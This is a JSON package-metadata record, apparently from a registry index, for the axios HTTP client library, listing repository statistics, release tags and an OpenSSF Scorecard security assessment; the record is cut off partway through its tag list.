{"id":1448481,"name":"axios","ecosystem":"npm","description":"Promise based HTTP client for the browser and node.js","homepage":"https://axios-http.com","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/axios/axios","keywords_array":["xhr","http","ajax","promise","node"],"namespace":null,"versions_count":147,"first_release_published_at":"2014-08-29T23:08:36.810Z","latest_release_published_at":"2026-08-26T08:20:14.517Z","latest_release_number":"1.20.0","last_synced_at":"2026-10-02T04:16:35.331Z","created_at":"2022-04-09T01:32:52.381Z","updated_at":"2026-10-02T09:18:30.491Z","registry_url":"https://www.npmjs.com/package/axios","install_command":"npm install axios","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"next":"1.7.0-beta.2","old-version":"0.30.0","v0x":"0.34.0","latest":"1.20.0"},"contentPolicy":null},"repo_metadata":{"id":19827646,"uuid":"23088740","full_name":"axios/axios","owner":"axios","description":"Promise based HTTP client for the browser and node.js","archived":false,"fork":false,"pushed_at":"2026-09-27T12:45:13.000Z","size":29403,"stargazers_count":109243,"open_issues_count":95,"forks_count":11881,"subscribers_count":1177,"default_branch":"v1.x","last_synced_at":"2026-09-28T23:19:09.233Z","etag":null,"topics":["hacktoberfest","http-client","javascript","nodejs","promise"],"latest_commit_sha":null,"homepage":"https://axios-http.com","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/axios.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":null,"gemini":null,"cursor":null,"copilot":".github/copilot-instructions.md","dco":null,"cla":null,"disclosure":null},"funding":{"open_collective":"axios","github":"axios"}},"created_at":"2014-08-18T22:30:27.000Z","updated_at":"2026-09-28T17:54:15.000Z","dependencies_parsed_at":"2026-09-12T04:24:25.316Z","dependency_job_id":"be10e184-d9f5-435c-858a-23596b2e6836","html_url":"https://github.com/axios/axios","commit_stats":{"total_commits":1384,"total_committers":481,"mean_commits":"2.8773388773388775","dds":0.8410404624277457,"last_synced_commit":"ddb8683381ddbbfd6faeaaa0f8ff53f55f837594"},"previous_names":["mzabriskie/axios"],"tags_count":147,"template":false,"template_full_name":null,"purl":"pkg:github/axios/axios","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/axios","download_url":"https://codeload.github.com/axios/axios/tar.gz/refs/heads/v1.x","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/sbom","scorecard":{"id":55204,"data":{"date":"2025-08-11","repo":{"name":"github.com/axios/axios","commit":"2a9763426e43d996fd60d01afe63fa6e1f5b4fca"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.7,"checks":[{"name":"Code-Review","score":8,"reason":"Found 18/22 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"27 commit(s) and 22 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Security-Policy","score":4,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Warn: no linked content found","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:24","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:25","Info: jobLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:13","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/npm-tag.yml:14","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/publish.yml:15","Info: topLevel 'contents' permission set to 'read': .github/workflows/ci.yml:18","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/depsreview.yaml:5","Warn: no topLevel permission defined: .github/workflows/labeler.yml:1","Warn: no topLevel permission defined: .github/workflows/notify.yml:1","Warn: no topLevel permission defined: .github/workflows/npm-tag.yml:1","Warn: no topLevel permission defined: .github/workflows/pr-guard.yml:1","Warn: no topLevel permission defined: .github/workflows/pr.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Warn: no topLevel permission defined: .github/workflows/sponsors.yml:1","Warn: no topLevel permission defined: .github/workflows/stale.yml:1"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":2,"reason":"dependency not pinned by hash detected -- score normalized to 2","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/ci.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/ci.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/ci.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/ci.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/codeql-analysis.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/codeql-analysis.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:47: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/codeql-analysis.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/depsreview.yaml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/depsreview.yaml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/depsreview.yaml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/depsreview.yaml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/labeler.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/labeler.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/notify.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/notify.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/notify.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/notify.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/npm-tag.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/npm-tag.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/npm-tag.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/npm-tag.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pr-guard.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/pr-guard.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pr-guard.yml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/pr-guard.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pr.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/pr.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pr.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/pr.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pr.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/pr.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pr.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/pr.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pr.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/pr.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pr.yml:60: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/pr.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/publish.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/publish.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/publish.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/publish.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/publish.yml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/publish.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/publish.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/publish.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/publish.yml:51: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/publish.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/publish.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/publish.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/sponsors.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/sponsors.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/sponsors.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/sponsors.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/sponsors.yml:47: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/sponsors.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/stale.yml/v1.x?enable=pin","Info:   0 out of  22 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of  13 third-party GitHubAction dependencies pinned","Info:   6 out of   6 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"SAST","score":9,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 29 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":0,"reason":"44 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-h5c3-5r3r-rr8q","Warn: Project is vulnerable to: GHSA-rmvr-2pp2-xj38","Warn: Project is vulnerable to: GHSA-xx4v-prfh-6cgc","Warn: Project is vulnerable to: GHSA-v88g-cgmw-v5xw","Warn: Project is vulnerable to: GHSA-67hx-6x53-jw92","Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-grv7-fg5c-xmjg","Warn: Project is vulnerable to: GHSA-x9w5-v3q2-3rhw","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-wm7h-9275-46v2","Warn: Project is vulnerable to: GHSA-vjh7-7g9h-fjfh","Warn: Project is vulnerable to: GHSA-4gmj-3p3h-gm8h","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-75v8-2h7p-7m2m","Warn: Project is vulnerable to: GHSA-pfrx-2q88-qq97","Warn: Project is vulnerable to: GHSA-rc47-6667-2j5j","Warn: Project is vulnerable to: GHSA-78xj-cgh5-2h22","Warn: Project is vulnerable to: GHSA-2p57-rm9w-gvfp","Warn: Project is vulnerable to: GHSA-952p-6rrq-rcjv","Warn: Project is vulnerable to: GHSA-44fp-w29j-9vj5","Warn: Project is vulnerable to: GHSA-4pg4-qvpc-4q3h","Warn: Project is vulnerable to: GHSA-g5hg-p3ph-g8qg","Warn: Project is vulnerable to: GHSA-fjgf-rc76-4x9p","Warn: Project is vulnerable to: GHSA-rhx6-c78j-4q9w","Warn: Project is vulnerable to: GHSA-9wv6-86v2-598j","Warn: Project is vulnerable to: GHSA-h7cp-r72f-jxh6","Warn: Project is vulnerable to: GHSA-v62p-rq8g-8h59","Warn: Project is vulnerable to: GHSA-p8p7-x288-28g6","Warn: Project is vulnerable to: GHSA-gcx4-mw62-g8wm","Warn: Project is vulnerable to: GHSA-c2qf-rxjj-qqgw","Warn: Project is vulnerable to: GHSA-44c6-4v22-4mhx","Warn: Project is vulnerable to: GHSA-4x5v-gmq8-25ch","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5","Warn: Project is vulnerable to: GHSA-3jfq-g458-7qm9","Warn: Project is vulnerable to: GHSA-5955-9wpr-37jh","Warn: Project is vulnerable to: GHSA-f5x3-32g6-xq36","Warn: Project is vulnerable to: GHSA-pq67-2wwv-3xjx","Warn: Project is vulnerable to: GHSA-8cj5-5rvv-wf4v","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6","Warn: Project is vulnerable to: GHSA-72xf-g2v4-qvf3","Warn: Project is vulnerable to: GHSA-cchq-frgv-rjh5","Warn: Project is vulnerable to: GHSA-g644-9gfx-q4q4","Warn: Project is vulnerable to: GHSA-3h5v-q93c-6h6q"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-15T00:34:01.728Z","repository_id":19827646,"created_at":"2025-08-15T00:34:01.728Z","updated_at":"2025-08-15T00:34:01.728Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":341301770,"owners_count":37825206,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-09-29T02:00:06.972Z","response_time":187,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"axios","name":"axios","uuid":"32372333","kind":"organization","description":"","email":null,"website":"https://axios.rest","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/32372333?v=4","repositories_count":5,"last_synced_at":"2026-09-27T03:36:40.677Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/axios","funding_links":["https://github.com/sponsors/axios"],"total_stars":110831,"followers":2398,"following":0,"created_at":"2022-11-02T16:20:25.966Z","updated_at":"2026-09-27T03:36:40.818Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/axios","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/axios/repositories"},"tags":[{"name":"v0.34.0","sha":"ee1aa2654766c70215c5ef40991dc1079aa261da","kind":"commit","published_at":"2026-09-13T16:32:38.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.34.0","html_url":"https://github.com/axios/axios/releases/tag/v0.34.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.34.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.34.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.34.0/manifests"},{"name":"v1.20.0","sha":"84a9f3b9a4f3244b8c8e818f557d64c7b964fb25","kind":"commit","published_at":"2026-08-19T15:53:46.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.20.0","html_url":"https://github.com/axios/axios/releases/tag/v1.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.20.0/manifests"},{"name":"v1.19.0","sha":"311fcc5c8d989b7248f05d390bb83bfbfb009977","kind":"commit","published_at":"2026-07-22T17:26:22.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.19.0","html_url":"https://github.com/axios/axios/releases/tag/v1.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.19.0/manifests"},{"name":"v1.18.1","sha":"a209bfb1e5dcbce3cecbf4bd955339d006358887","kind":"commit","published_at":"2026-06-21T17:14:40.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.18.1","html_url":"https://github.com/axios/axios/releases/tag/v1.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.18.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.18.1/manifests"},{"name":"v1.18.0","sha":"2d06f96e8602c2db13b65a26340ee4a1bbc0b61f","kind":"commit","published_at":"2026-06-12T06:38:08.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.18.0","html_url":"https://github.com/axios/axios/releases/tag/v1.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.18.0/manifests"},{"name":"v0.33.0","sha":"d998cc9a1aa5cc45fbdfbdded6e9ecf8beb61aed","kind":"commit","published_at":"2026-06-11T18:35:48.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.33.0","html_url":"https://github.com/axios/axios/releases/tag/v0.33.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.33.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.33.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.33.0/manifests"},{"name":"v1.17.0","sha":"4306df21e84332fc576e98c2de549347c06bfb76","kind":"commit","published_at":"2026-06-01T18:15:44.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.17.0","html_url":"https://github.com/axios/axios/releases/tag/v1.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.17.0/manifests"},{"name":"v1.16.1","sha":"1337d6b537afb2d3f501074c8ac4ef4308221197","kind":"commit","published_at":"2026-05-13T16:11:40.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.16.1","html_url":"https://github.com/axios/axios/releases/tag/v1.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.16.1/manifests"},{"name":"v0.32.0","sha":"8db2d44896849a21ed9721185b1034df24e1ba7b","kind":"commit","published_at":"2026-05-04T17:08:42.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.32.0","html_url":"https://github.com/axios/axios/releases/tag/v0.32.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.32.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.32.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.32.0/manifests"},{"name":"v1.16.0","sha":"df53d7dd99b202fb194217abd127ae6a630e70dc","kind":"commit","published_at":"2026-05-02T11:49:29.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.16.0","html_url":"https://github.com/axios/axios/releases/tag/v1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.16.0/manifests"},{"name":"v1.15.2","sha":"582934382e4e0e0bcb679c628071a4203e93cf57","kind":"commit","published_at":"2026-04-21T17:45:22.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.15.2","html_url":"https://github.com/axios/axios/releases/tag/v1.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.15.2/manifests"},{"name":"v1.15.1","sha":"ac42446be51300fe214ba3c6e40cc95f34fd6871","kind":"commit","published_at":"2026-04-19T16:51:43.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.15.1","html_url":"https://github.com/axios/axios/releases/tag/v1.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.15.1/manifests"},{"name":"v0.31.1","sha":"a589dc525af12e0fabef7d6e5be028ad433eee31","kind":"commit","published_at":"2026-04-19T16:50:45.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.31.1","html_url":"https://github.com/axios/axios/releases/tag/v0.31.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.31.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.31.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.31.1/manifests"},{"name":"v0.31.0","sha":"5073eca0edd37b13a0e39dcb48794d779b7dff8d","kind":"commit","published_at":"2026-04-12T09:21:37.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.31.0","html_url":"https://github.com/axios/axios/releases/tag/v0.31.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.31.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.31.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.31.0/manifests"},{"name":"v1.15.0","sha":"772a4e54ecc4cc2421e2b746daff0aca10f359d7","kind":"commit","published_at":"2026-04-07T16:03:51.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.15.0","html_url":"https://github.com/axios/axios/releases/tag/v1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.15.0/manifests"},{"name":"v1.14.0","sha":"46bee3dea75ef53a8eae49f3b7487e6341de6074","kind":"commit","published_at":"2026-03-27T18:54:05.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.14.0","html_url":"https://github.com/axios/axios/releases/tag/v1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tag